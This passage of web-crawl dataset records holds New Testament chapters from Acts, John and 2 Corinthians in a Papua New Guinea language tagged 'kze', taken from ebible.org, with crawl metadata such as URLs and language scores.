tínkankaunda mindá uwóvíta éta tínkankaumne sésa tí'maesa máápa'a kumésa aánoumai sésa kentáásí naaópa'a tuwékai kokaiyó suwasaráí\n40 Pórowe Sáírásiye ándáva'a tuwésarai Árítiyaana naaúmpa'a kuyasá Ísun-aai ísówai torupamái máyówasarai miwítí imáyáa kawe'á umátinkesarai tiyuwésarai kurááiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC16.html","date":"2023-09-24T04:53:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506559.11\/warc\/CC-MAIN-20230924023050-20230924053050-00746.warc.gz","language":"kze","language_score":0.9999693632,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999693632125854}","num_words":705,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\nYérúsaremuva'a Pítaa simátímakain-kwasai.\n1 ó'onkaa-kwaasi Ísun-aai isésa tátokaawemo sumbá aantá-kwaasiye Ísuna aampa'á kuwáí Yútiyaa-maravaken-kwaasiye mináímbá isésa máyówana\n2 Pítaa Yérúsaremu-naopa'a kúwasa évaka-kwaasi áwáá'a aéésa Yútaa-kwaasi túra'a kárámai araa'éna kwéontemba ó'onkaa-kwaasigwara'a mirá orómó sirón-kwaasi Pítaamba áwáá'a aéésa\n3 sésa emá ó'onkaa-kwaasiti naaúmpa'a ugwaé ímo túmo kárámai araa'éna úmakaan-kwaasiti naaúmpakemba toómbá umandaráane suwaná\n4 Pítaa amápa-tantaa'a uráimba simátimena\n5 séna Yópaa-naopa'a mé'a Áánútumpa'a námúnaa séwándara'a kaainkáámbá awánaawanana kwíyómpakemba anón-ampanta éíyain-araaira'a tátoresa túwówana kuména kesí egwaa'á kumúwa'a\n6 mimpímbá árimba awánaawanda póíma kwaí-kwaamba iraankavayaambá áváá'-numama máyowa'a awánaawanana\n7 aaigówé su'mai séna Pítaao usásinke tuvú'mái agandaaó súwa'a isé'a\n8 sé'a Ísóigoo ímanivo kentáásí ámáámba mirán-tántáá'á aambá áúmbakaawata pó'a íma kwénaumne séwánana\n9 minááígówé su'mai ókwara'a séna Áánútu kawe-tántááré siráin-tantaatavai íma aambá áúmbakaawe siyó súwa'a\n10 kaumborá'á kaainkáámbá awánaawanana kwíyómpa'a minámpántámá iráiye.\n11 avekáámbá Sísáriyaavakemba kaumbo-kwáásí kesópa'a ti'marówai tumbá\n12 Áánútun-amanko simásimena séna íma kaer-ímáyáá e miwísé kwaaó súwa'a kówánasa Yópaavakemba maankwáásí ava'moraé-kwaasi Ísun-aai ísáawai súyorowata Sísáriyaa-naopata Kóníríyasina naaúmpata kówánana\n13 simásimena séna Áánútuna kwayó'ná'á kwíyómpakewai kesí naaúmpa'a kumbáyáísa'a awánáúnana séna ti'márénasa Yópaa-naopakemba moóráwai áwí'a Sáímoni Pítaamba koaíréwana\n14 téna aaí tagwésimatimina'a egwárá ená akúnkwárá'á amápa'a kwéisewana Áánútu sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkaniye kwíyómpakewai siráiye Kóníríyasi súwa'a\n15 aaí kwésewanana Áánútun-amanko aiva'ó kentáávímbó kunkáintemba miwívímbá mirá úwa'a\n16 awáné'a moórá-aimba sááka'a makáumne. ááéma Ísóigo séna Yóni nombá pétinkaraimbanivo Áánútun-amanko kuména keinárawapimba anómba umátinkaniye Ísóigo siráin-aimba sááka'a makáumne.\n17 ánivo kesáá Ísóigo Ísu Káráísitin-aaiyaveta áraire séwánanaya Áánútu kwenamankómbó símakaintenta ó'onkaa-kwaasi miwí mirá kwéowa'a awánaraunda pó'a kemá Ísuna mayáí-kwáásímá pó'a nombá pérómba íma aambá aunówánasa úwoi nombá pékaawe Pítaa súwasa\n18 mináímbá isésa áwáá'o áúmba ivátuwesa Áánútu áwí'a mósá marésa sésa Áánútu mirá kwéena íma Yútaa-kwaasiye su'maiya aaí kwésimasimintaanivo ó'onkaa-kwaasiyavaigwara'a aaí kwésimatimisasagwara'a miwítí sáwí-imayaa tínaaemba umámesa Áánútunopa'a tésa aúnái'a umái maí'mai'a ónááowe siráawe.\nÁntíokuvakewai Ísuna kwaásiti kwaasái.\n19 ááéma Sítívenimba tuvúwúwana puwúwasa ó'on-kwaasi Ísuna aampa'ó kun-kwáásí sáwí'a umátínkówasa kóyáwé uráamba évaka'a Vínísiyaa-marava'a kuwasá évaka'a Sáíparasi-marava'a kuwasá évaka'a Ántíoku-naopa'a kuwasá miwímá minkáúmbó-márává'á máyón-kwaasi Yútaa-kwaasiye su'mai Ísun-aai kosimátimesa\n20 miwívínkémbá évaka'a Sáíparasi-maravakewai évakarawai Sáírini-maravakewai miwímá Ántíoku-naopa'a komáyónka'a Yútaa-kwaasiye ó'onkaa-kwaasiyegwara'a Ísóigo Ísuna áséi-kwasai kosimátimuwana\n21 Ísóigona asirayámbá miwísé máyowasa sáwíva-kwaasi Ísóigon-aaiyavesa áraire sésa kwempá'á tiráawe.\n22 Ántíokuvaken-kwaasi Ísóigon-aaiyavesa áraire sésa kwempá'á tiráan-aimba suwasá Ísóigona kwaási Yérúsaremuva'a máyón-kwaasi mináímbá isésa Páánápáasimba ai'márówana Ántíoku-naopa'a kweémena\n23 koména Áánútu kawe'á umátínkaromba tuwánéna aamoí éna asiramái simátimena séna kentirunkaké ísámai Ísóigontavai máéro séna\n24 Páánápáasi kawe-kwáásí úwana Áánútun-amanko kwempímbá anómba umánkowana Ísóigonte aráápamai asiramái ména aaí simátíma'maena kwéiyuwasa sáwíva-kwaasi isésa Ísóigompa'a tésa méraawe.\n25 máyówana Páánápáasi Sóromba avakáá úmaena Táásási-naopa'a kúmba\n26 koawánéna koáí'maena Ántíokuva'a tésarai moórá-i tamaisuwésarai Ísóigona kwaásiye mésarai sáwíva-kwaasi tayorupontembá Ísun-aai simátíma'maesarai íyúyasa Ísuna aampa'á kwéguwaiyavai sésa Káráísitina kwaásiye suwaná aiva'á Ántíokuva'a mináímbá paáruraiye.\n27 mináímbá paárúwana minkánáá évakarawai Áánútun-aai simátímakowai Yérúsaremuva'a tuwésa kweémesa Ántíokuva'a kuwaná\n28 miwívínkémbá moóráwai áwí'a Ákápáasi kwemá usásinena Áánútun-amanko kwesé máyowana séna anón-ayawaima amápa'-mapa'a táníye súnka'a póna naaémba Árómáani-kamaaniti kawááná'á áwí'a Kórótíyasa máyonka'a mináyáwáímá paáruraiye. Ákápáasi mináímbá súwasa\n29 isésa Ísuna aampa'á kwéguwai moórá-morawai sésa óntamba torupamái Ísun-aai ísáawai Yútiyaa-marava'a máyáan-kwaasi timénáe sésa\n30 mirá ésa minóntámbá Páánápáasinte Sóronte tímúwasarai maimaésarai kweémesarai Ísóigona kwaásiti anón-kwaasi mátímakaaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC11.html","date":"2023-09-26T06:14:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510149.21\/warc\/CC-MAIN-20230926043538-20230926073538-00839.warc.gz","language":"kze","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999978542327881}","num_words":470,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nÁánútu Páánápáasinte Sóronte mayáí tímakain-kwasai.\n1 Ántíoku-naopa'a Ísóigona kwaásivinkemba Áánútun-aai kwésimatimen-kwaasiye kawer-ímáyáá kwéagaraantinkaan-kwaasiye mésa moóráwai áwí'a Páánápáasi úwana moóráwai avután-kwaasigo áwí'a Símiyoni úwana moóráwai Sáíríni-maravaken-kwaasigo áwí'a Árúsiyasi úwana moóráwai áwí'a Mánéyeni kwemá Éróti kawáánákóná naaúmpa'a maémaumba úwana moóráwai Sóro úwana umái mésa\n2 moórá-kanaa Ísóigona kwaási Áánútuna imáyáa mósá kwémaresa toómbá íma kwénesa námúnaawe su'mai kwésunka'a Áánútun-amanko simátimena séna Páánápáasinte Sóronte kesí mayáírá'á usásintinkaraumpo mindárai tiyúwáaro súwasa\n3 toómbá íma nombá námúnaawe su'mai kwésesa Áánútuna mayáí mayáígwáe sésa tine'á tiyáándei tátoresa ti'márówasarai kurááiye.\nSáíparasi-marava'a kosimátímakaayan-kwasai.\n4 Áánútun-amanko Páánápáasinte Sóronte ti'marówasarai Yóni Máákaamba áí'maesarai Ántíoku-naopa'a tuwésarai Sérúsiyaa-naopa'a kumésarai uwí-nónkóná avumpim-bárává'á áwí'a Sáíparasi-marava'a kónáe sésarai nompí-sípí táto'mai usáatesarai kweémesarai\n5 Sáíparasi-marava'a Sárámisi-naopa'a mindómpí-sípívínkémbá kunásávesarai Yútaa-kwaasiti mono'-náúmpímpá'á Áánútun-aai simátíma'maesarai kwéguyana Yóni Mááka túwa'naa úmaena kúwasarai\n6 kawer-áímbá simátíma'maesaya marapá'á kweémesaya Páávoso-naopa'a kuwaná moóráwai mindáópa'a Yútaa-kwaasigo ména kwenáwí'a Paayísu Kíríki táávinken-kwi'a Érímasa kwemá pukaa'á agayón-kwaasi póna kampa'á séna Áánútun-aai simátimundawai úne súwana\n7 moóráwai kámááni-kwaanako áwí'a Sésiasa Porasa ména kawer-ímáyáágwárá-kwáásí póna Áánútun-aai isánáe séna Páánápáasinte Sóronte tááyowana Érímasa pukaa'á agayón-kwaasigo kámááni-kawaanakoe aasiyaasí maí'mai'a úwai máyowana kámááni-kawaanako Páánápáasinte Sóronte tááyowasarai tuyaná Érímasaagwara'a téna\n8 mindárai táái tasimái karéna kámááni-kawaanako Ísun-aaiyavai áraire sivo séna mindárai táái tasimái karówana\n9 Sóro moórá-awi'a Póro Áánútun-amanko kwempímbá anómba umánkowana Póro pukaa'á agayón-kwaasigomba aráá'a avuwéna\n10 séna Sáátáánigo áráá'a po kawer-ánkóná uwa-kwáásí éma amápa-sawisawaa-imayaao empímbá anómba umánkaraimba po Ísóigona kawer-ámbá sáwí'a úmae iyóndayavena\n11 ívé'a Ísóigo ená meéyámbá amína aúramba kavíkwína évaka-tawai sámo káínda íma awánaniyone Póro súwana avekáámbá Érímasaamba aúrampa'a ítáguwana siyáánka'o táto'maesamo naaíyane séna kwaási tivakáá úmae kwénaauwana\n12 kámááni-kawaanako Ísóigon-aai iséna áátavai éna Ísóigomo úmba awánéna séna Ísóigon-aai árair-aimban-iye séna kwempá'á téna méraiye.\nPísítiyaa-marava'a Ántíoku-naopa'a kurááyan-kwasai.\n13 Póro kwesé kwénaauwaise Páávoso-naopa'a tuwésaya nompí-sípí táto'mai usáatesaya kwémesaya Pámpíriyaa-marava'a Pékaa-naopa'a mindómpí-sípívínkémbá kunásávesaya kúmúwana Yóni Mááka tiyuwéna Yérúsaremuva'a kóúwasarai\n14 mindárai marapá'á kweémesarai Písítiyaa-marava'a Ántíoku-naopa'a kwésarai Yútaa-kwaasi monor-áímbá kwéison-kanaara'a Yútaa-mono'-naumpa'a mara'á umáyóyasa\n15 aúváí-kwandaavinkemba Áánútuna ámáámba Mósesi agaimakómba simátimesa Áánútun-aai simátímakowai agaimakón-aimba simátímúwasa Yútaa-mono-kawaanarawa'a moóráwaimba ai'márówana mindáraitopa'a téna séna kentáásí kwaásiraiyo kwaasái kwáyainakaimo ékai kentáásí imáyáa simái kawe'á umásinkaakaiyo súwana\n16 Póro usásinena séna maísáaro. kesí Ísareri-kwaasiye ó'onkaa-kwaasi Áánútuna imáyáa mósá máráawaiye ísáaro.\n17 naaóvá'á Ísareri-kwaasiti Ísóigo kentáá síkwá'náyavena séna kesí kwaásiman-owe súwasa ó'on-kwaasiti maravá'á Ísípi-marava'a mésa sáwíva-kwaasi agáyówana Áánútu kwená anón-asirayamba kwáyontavai Ísípivakemba tí'maena\n18 kavóná-marava'a mátinkowasa sáwívar-ima 40 ira'a kwénaaesa aasiyaasí Áánútuntavesa sáwí-imayaa kwéumbanivo Áánútu miwírá'á kárákwirena íma tiyuwówasa\n19 Kénááni-marava'a avakaeté-maravaken-kwaasi moórá-mora-umai máyówana Áánútu tínkambaena kwéiyuwasa évaka'a putásowana miwítí maramá maimaéna kwená kwaási Ísareri-kwaasi mátimuwasa\n20 mimbárává'á mésa sáwívar-ima 450 ima maisukáawe.\n450 ima maisúwówana Áánútu moórá-mora-kwaasi kawáá-máyáírá'á usásintinkava'a kúwana Áánútun-aai simátímakowai áwí'a Sámúwéri kwemá usávaaruwasa mirán-káwáá-kwáásí ánásasowasa\n21 Ísareri-kwaasi Áánútu íma kentáárá'á kárákwiyinkwae sésa kentáávínkémbá moóráwaimo éna kentáárá'á kárákwiyiniye suwaná Áánútu séna Pénisamini-andarakewai Kísaa ááninko áwí'a Sóro kwemá kárákwiyi-mayai mayáníye súwana mimbáyáí mairéna 40 ima maisuwówana\n22 Áánútu mimbáyáí Sórompakemba Yési ááninko áwí'a Tévítimba amúwana mayówana séna Tévíti kemó súndanteni'a kwéimba pó'a aamoí kwéumankaumne Áánútu siráiye.\n23 naaóvá'á Áánútu séna Tévítin-andarakembo aánomo usásinankaandawai kwemó éna Ísareri-kwaasi sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkaniye siráimba Ísuntavena árair-aimba siráiye.\n24 Ísu íma amápa-kwaasi túranka'a paárurowana Yóni nombó pétinkowai amápar-Isareri-kwaasiyavena simátimena séna kentí sawi-ímáyáá tínaaembo umáme'o Áánútumpa'o tíya'o é'a nombá pétinkanaumne súwasa mirá uwaná nombá pétinkena\n25 kwená mayáí sáwíyanka'a ánásaniye kwéuwana simátimena séna kentí imáyáaomo kentáváímó nááwa'iyo sénááomba kwéamu'maraawai kemá íma kwemá úmpo kesínaaemba tíníwai kwemá anóndakoma kembá usáyaaitaraimba pó'a kwemó aaimó síndavimba kemá aaimó sendamá uwóví'a ónaumne Yóni siráiye Póro siráiye.\n26 Póro simásuwena séna kesí kwaási Ááváramun-andaraken-kwaasiye ó'onkaa-kwaasi Áánútuna imáyáa mósá máráawaiye ísáaro. sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkaimba kentááyávéna Áánútu siráiye.\n27 Yérúsaremuvaken-kwaasiye miwítí kawáánárawate sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkaniyemo siráin-aimba Ísuntavai sirómba íma imáyáa uráawe. aasiyaasi-táwai monor-áímbá kwéison-kanaama Áánútun-aai simátímakowai agaimakón-aimba aúváí-kwandaavinkemba táámpamai kwésuwasa isésa Ísuntavai sirómba íma imáyáa uráavo tuvúwana pukáivo mináúváí-kwándááívínkén-áímbá paáruraiye.\n28 tuvuwí-ámbá avakáá umbá íma sáwí'a uráimbanivo Páírátintavesa úwoi sésa tuvuwíníyone siráawe.\n29 Áánútun-aai aúváí-kwandaaivimba Ísun-aai agaimakómba amápa'a mirá uwasá taairakémbá maimái murí-áívímbá máutamankowana\n30 Áánútu pukáimpinkemba usásinankowana\n31 ayáátááka'a moórá-mora-tawai kwená kwaási túranka'a paáruraiye. ímo tuvúkónka'a Kárírivakemba Yérúsaremuva'a kwesé kuráawai pukómpinkemba usásinenamo moórá-mora-tawaimo paárumai máyomba minkwáásí awánésa sésa awáraundayavai ísaraundayavai Ísareri-kwaasi kosimátíma'maeta kónáe sésa kuráamba mimbáyáí paaí kwémayaawe.\n32-33 Páánápáasiye kesé mináséí-kwásáí simátíméyanekai túye. Áánútu kentáá síkwá'náyavena mirá ónaumne sirómba kesáá máyaunda-kanaavinta mirá éna Ísumba pukáimpinkemba usásinankaraiye. mináímbá monor-ímá agaimakón-auvaivimba kaepímbá agaimaréna séna\nemá kesáánimba óna'a\nkesí mayáírá'á ánkaraumne\nagaimaréna siráiye.\n34 Áánútu pukáimpinkemba usásinankaraimba póna íma ókwara'a puwínana áúma kaviráníntavena Áánútu séna\nTévítintave'a sé'a árai'a kawe'á umánkanaumne siráundantemba embá kawe'á umánkanaumne\nÁánútu siráiye.\n35 moóráva'a monor-ímá agaimakón-auvaivimba agaimaréna séna\nÁánútu kwená kawe-kwáyó'ná'á íma\nauwáínana áúma kaviráníye\nagaimaréna siráiye.\n36 mináímbá íma Tévítintavena siráivo Tévíti Áánútuna mayáí kwémaena puwúwasa maimaésa aíkwá'námo utámakompimba máutamarowana áúma kaviraráivo\n37 Áánútu Ísumba pukáimpinkemba usásinankarowaimba kwenáúma íma kaviraráiye Póro siráiye.\n38 Póro simásuwena séna kesí kwaásiyono. ísámai kawe'á oró. Ísuma pukáimpinkemba usásinankaraiwaintavena kwaásiti sáwí-imayaa sáwí-mayai maitiyuwáníye Áánútu siráiye. mináímbá simátimunda ísámai kawe'á oró.\n39 Áánútu Mósesimbo simámakain-amaambo kwáráawaimo ombá minámáánkó kentí sáwí-imayaa íma maitiyuwáínana arupí umái máyáawain-owe Áánútu íma sínívo Ísumo éna kwenááiyavesa áraire sésa kwenká'á aráápamai máyáawaiti sáwí-imayaa maitiyuwáínana miwíyávéna arupí umái máyáawain-owe Áánútu síníye.\n40 miráumai Áánútun-aai simátímakowai tááigo kempá'á tivó sé'a kárákwimai kawe'á oró.\n41 naaóvá'á Áánútun-aai simátímakowai agaimarésa sésa\nárair-aintavai simái sáwí'a on-kwáásí ísáaro. keinárawa'o máyáan-kanaara'a mayáí máyáanda mimbáyáímó awáné'o é'o ímo kesópa'o té'o é'a úwoi puwónááowe. mimbáyáíyávésamo simátimiya'a mináíntávésa íma áraire sénááowe\nsésa agaimarésa siráawe. mináímbá kempá'á tivó sé'a kárákwimai kawe'á oró Póro siráiye.\n42 mináímbá simásuwena Pórowe Páánápáasiye máápa'a kumónáe kwéuyasa kwaási sésa ókwara'a monor-áímbó ísáan-kanaa tínakai mináímbá másíyata isánaumne\n43 simásuwesa máápa'a kumésa sáwíva-kwaasi Yútaa-kwaasiye ó'onkaa-kwaasi Yútaa-monor-ampa'a kwéguwaiye Póronte Páánápáasinte kwa'maésa kuwasaráí sésarai Áánútu úwoi kawe'á umátinkanivo úwoi asiramái kwená aampa'á koró sirááiye.\n44 suyaná Yútaa-kwaasi monor-áímbó kwéison-kanaa túwasa mindáópaken-kwaasi amápa'a Ísóigon-aai isánáe sésa Yútaa-mono'-naumpa'a umáyówasa\n45 Yútaa-kwaasi tuwánésa tirumbá sáwí'a úwasa mináímbá kwáráavo sésa Póronte Páánápáasinte aká'áámba simátinkesa kampar-áímbá kwéseye sésa simái kárówasarai\n46 miwí táároi íma inkaisésarai asiramái sésarai aiva'á árai'a Áánútun-aai simátimuyamba mináímbá tínaaemba umáme'a íma sínkáiye sembá pó'a aúnái'o umáímo maí'mai'o ónaunda uwóví'a ónaumne-imayaa ombá pókai tayauwerékai ó'onkaa-kwaasiva'a Áánútun-aai kosimátimeyauye.\n47 ááéma Ísóigo simásimenaya séna\nemá ó'onkaa-kwaasi sáma kamátinke kesáái kwésimatiminasa kesí aambá awánáíya'a amápa'-maravaken-kwaasi sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkanaumne\nÁánútu mináímbá simásímakaimba pókai ó'onkaa-kwaasi kwenáái kosimátimeyauye Póro siráiye.\n48 Póro súwasa ó'onkaa-kwaasi isésa Ísóigon-aaiyavesa aamoí ésa tirumbá kawe'á umái máyówana Áánútu séna kesí kwaási é'a aúnái'a umái maí'mai'a ónááowe súwasa miwí Ísóigon-aaiyavesa áraire sésa kwempá'á tésa méraawe.\n49 Ísóigompa'a aráápamai mésa mimbárává'á Ísóigon-aai kosimátin-tasimatin-uwasá sáwíva-kwaasi isésa\n50 Yútaa-kwaasi Póronte Páánápáasinte tirumbá sáwí'a umátinkesa mindáópaken-anon-kwaasiye aarai túwí'a kwáyon-inimba Yútaa-monor-aimba asiramái máyón-ininte mindárai táái simátimesa miwítí imáyáa tavisuwasá isésa Póronte Páánápáasinte sáwí'a umátinkesa aaisambá tiyésa miwítí maravákémbá ti'mátuwowasarai\n51 Áánútu minkwáásí íma aamoí umátinkaniye-umasitai'a ésarai tísamaivakem-barama uwáésarai Ántíoku-naopa'a tuwésarai Áíkóniyamu-naopa'a kuyasá\n52 Ántíoku-naopa'a Ísuna aampa'á kun-kwáásí máyówana Áánútun-amanko miwívímbá anómba umátinkowasa tirumbá kawe'á umái méraawe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC13.html","date":"2023-09-26T06:01:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510149.21\/warc\/CC-MAIN-20230926043538-20230926073538-00241.warc.gz","language":"kze","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.999997615814209}","num_words":1043,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\n1 naaémba kesááiyave'a íma asiramái mé'a siyúwáavo sé'a mináímbá kwésimatimunda imáyáa oró.\n2 naaémba marapá-kwáásímó keinárawatavesamo mono'-náúmpákémbá kwatuwánáemo sénááomba mindáyavesa sésa Ísuna kwayó-kwáásí tínkamiyawai Áánútuna mayáímá kwémayaawe kampa'á sénááowe.\n3 kenté kesivonté íma suwánaamba pósa miráumai sáwí'a umátinkanaaowe.\n4 ívé'a mináímbá kwésimatimunda póna mindá paárína'a tááka'a maré'a sé'a simásimakaimba kwévaariye sénááowe. mindáyave'a kwésimatimune Ísu siráiye.\nÁánútun-amanko mayáímá kwémayain-kwasai.\nÍsu simásuwena séna keinárawate máyaunda pó'a mináímbá íma simátímake'a\n5 si'mákaiwainopa'a íyóndatavaiye sé'a ívé'a simátímakaana'a náávara iyónó sé'a íma sísaa owa'á\n6 iyónaumne súnda-aimbo ísááwana tirunkó umbaí taisa'á pó'a náávara iyónó sé'a íma sísaa owe.\n7 árai'a simátime'a sé'a ímo iyúndarakai kentí karáá'á tutinkáníwaima íma kúmísino. iyé'a kwembá ai'máráanana keinárawate kumbéna kawe'á umátinkaniye.\n8 kumbéna marapá'á máyáan-kwaasi kentí sáwí-imayaagona ááimba agaráátinkaniye. arupímo umáímo maígona ááimba agaráátinkaniye. Áánútumo aaivimbó maitinkáníwaina ááimba agaráátinkaniye.\n9 kesááiyavaimo ímo áraire síyawaiyavena simátimena séna kentí sáwí-imayaa úwoi kwáyáiye síníye.\n10 kesivonópa'a iyúnda íma suwánanaaomba póna kentí karáá'á tutinkáníwaima arupí umái ménaaomba kunagaráátinkaniye.\n11 maambárárá'á sáwí-kawaana'a á'a aaivimbá mayánkaraimba póna Áánútu aaivimbá maitinkáníyema simátiminimbaniye.\n12 sáwívar-aimba simátimusina umbai-áímbá pó'a ívé'a íma kanaán-umai isánááomba pó'a naaémba isánááowe.\n13 Áánútun-amankoma kumbéna amápa-tantaatavena árair-aama va'mái simátiminiye. íma kwená imáyáavinkemba simátiminivo simámakain-aimba simátimena aánomo paárinin-tantaa'a simátiminiye.\n14 súnda-aimba simátiminana kesúwí'a anómba íníye.\n15 amápar-aintomba kesivondéímá mindá kendéímán-iye. miráumai sé'a simámakaunda-aimba Áánútun-amankoma simátiminiye Ísu siráiye.\ntirumbá umbaí tamái naaémba kawe'á uráin-kwasai.\n16 Ísu simásuwena séna sáwíyanka'a íma suwáné'a aáno suwánanaaowe súwasa\n17 kwená kwayó-kwáásívínkémbá évakarawai sésa kesivonópa'a iyúnda pó'a sáwíyanka'a íma suwáné'a aáno suwánanaaowemo simbá nóintavaiya kwésiyo.\n18 sáwíyankaremo simbá mináínkóná ááimba íya kwéisaumne. nóintavaiye séna kwésiyo suwaná\n19 Ísu miwí tuwánarena áísaa ónáe kwéuwana simátimena séna sáwíyanka'a íma suwáné'a aáno suwánanaaowemo súnda-aintave'a keinárawa'a ávááraumai kemó súnda-aintave'a ísámae kwénaaowe.\n20 árai'a simátime'a sé'a keinárawa'a ivi'á táíyasa marapá-kwáásí aamoí ónááombanivo kentirumbá umbaí tamái mé'a naaémba kentirumbá etóyóí ónááowe.\n21 moórá-ininkomo iyámpóímo maránkarainda-kanaama tínanamo éna áí'o kwéuwanamo maránkaraintavaiye séna ísámai umbaí táínana naaémba miníyámpóí awánéna aamoí umánkaniye.\n22 mirá ontembá kentirumbá ísámai umbaí té'a naaémba suwáné'a aamoí ónááowe. aamoimó ií-yántáá'á íma maitiyuwánááowe.\n23 minkánáá tína'a íma sísaa ónááovo kesivombá áísaa íyamba kentávé'a ísámai áísaa íyantavena póna mirá umátinkaniye.\n24 kesivombá íma áísaa uráavo ívé'a kentávé'a ísámai áísaa íyamba mirá umátinkainana kentirunkó anómba aamoí ína'a máéro Ísu siráiye.\nmarapá-tántáá'á Ísu usáyaaitaraiye siráin-kwasai.\n25 Ísu simásuwena séna kwántámai-aimba simátimunda pó'a naaén-kanaama tína'a kesivon-áái paárumai simátimenaumne.\n26 minkánáámó tína'a kesí imáyáa ontáváí kesivombá áísaa íya'a kemá íma áísaa onaná\n27 kwemá úwoi tiména kwenarumbá tímakaintavena póna úwoi timíníye. kentávé'a sé'a Áánútunopakemba kunkáiye sé'a tirumbá símakaantavena kesivomá arumbá tímakaiye.\n28 kesivonópakemba marapá'á kumbáyaunda pó'a ívé'a marapá'á tuwé'a kesivonópa'a iyónaumne Ísu súwasa\n29 kwená kwayó-kwáásí sésa ívé'a íma kwántámai-aimpinkemba sémpo avoratá kwésimasimene.\n30 kesáámá séta áísaa ónáisaye íma súnayaama emá ísaraandana'a po paárumai kwésene. miráyá séta Áánútunopakemba kunkáane kwésune suwaná\n31 Ísu séna kentávé'a Áánútunopakemba kunkáiye sembánivo\n32 sáwíyanka'a siyuwé'a kentí naaó'-nao'a kóyáwé owa'á keyáá maúsina kesivomá kesé máyáiye.\n33 mináímbá simátimunda pó'a kesé tarúmai mé'a aánoumai kwempa'á máéro. marapá-kwáásí aká'áámba simátinkesa sáwí'a umátinkanaaombanivo marapá-tántáákwárá kwaásigwara'a usáyaaitaraunda pó'a kentirumbá aamoí umái ménaaowe Ísu siráiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN16.html","date":"2023-10-03T00:37:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511023.76\/warc\/CC-MAIN-20231002232712-20231003022712-00416.warc.gz","language":"kze","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999990463256836}","num_words":460,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\n1 Áánútuwe tágárotamai méta mayáí kwémaeta asiramái simátimeta séta Áánútu úwoi kwétuwa'naa-imba pó'a íma úwoi mé'a kwembó arááímo kwétaini'a oró kwésune.\n2 naaóvá'á Áánútun-aai aúváí-kwandaaivimba Áánútumo siráin-aimba agaimaréna séna\núwoi túwa'naa uráunda-kanaa kentáái\nisé'a sáwí'o umáímo máyómpinkembo\ntíkaunda-kanaa túwa'naa uráumne\nÁánútu siráiye agaimaréna siráimba mindáyave'a ísáaro. ívé'a Áánútu úwoi kwétuwa'naa-in-kanaama éna sáwí'o umáímo máyáampinkemba kwétirain-kanaama imbá pó'a íma úwoi mé'a kwembó arááímo kwétaini'a oro.\n3 kentáásí mayáígómbá awánésa sáwí-amba kwáráavo séta kawe'-máyáíyé su'mai kwémayaundaya pósa íma árai'a sésa sáwí-mayai kwémayaawe kwésewe.\n4 amápa'-mayai kwémayaundayaveta séta suwánésaya árai'a Áánútuna mayáí-kwáásímán-owe sígwáe séta mimbáyáí kwémaeta máyaumne. umbai-yántáá'ó kentáásópa'o tisasamó sí'o iní'o umásinkesaya sáwí'o umásínkáanta íma ivátuweta asiramáíya máyaumne.\n5 Áánútuna mayáíyá kwémayaundarakemba sínkambai ándáva'o mósinkesayaamo úkúmakesamo sáwí-aimba simánkesa mirámó kwéonta anóm-bayai kwémaeta no'wáámba íma suúyá kwégwaeta úwoi mayáí kwémaeta sááimo kwésinkainta íma ivátuweta asiramáíya máyaumne.\n6 kentááyávésa Áánútuna mayáí-kwáásímán-owe sénááontaveta kawe'-máyáíyé su'mai kwémaeta kawer-ímáyáá kwéeta paru umái méta kawe'á kwéumatinkaunanaya Áánútun-amanko keséya máyáísata árai'a miwítí imáyáa kwéeta\n7 árair-aimba kwésimatimunanaya Áánútu asirayámbá kwésimisata mirám-báyáí kwémaeta Áánútu aúranka'a arupí umáíya máyaundaya mindá kweukáámbá araa'naa uráunanaya sáwí-ainko kentáávímbá íma kwétisata Áánútu aúranka'a arupí umáíya máyaundaya mindá iwevóíráámbá umásoketa umbai-yántáá'ó kesópataamo timbá kwéusayaaitaundayaawe.\n8 évakarawai kentáá súwí'a mósá máráawasa évakarawai kentáá súwí'a simái sáwí'a owasá évakarawai kawer-áímbá simásíméwasa évakarawai sáwí-aimba simásíméwasa árair-aimbo simátimundayavesaya évakarawai kentááyávésa kampa'á kwésewe sewasá\n9 évakarawai kawe'á umái suwánésaya kampa'á sésa úwoi-kwaasiman-owe sewasá évakarawai kentááyávésamo puwónáesa owémó kwésemba íma puwúndaya úwoiya súvamaiya máyaumpo suwánaaro. Áánútu arupíya 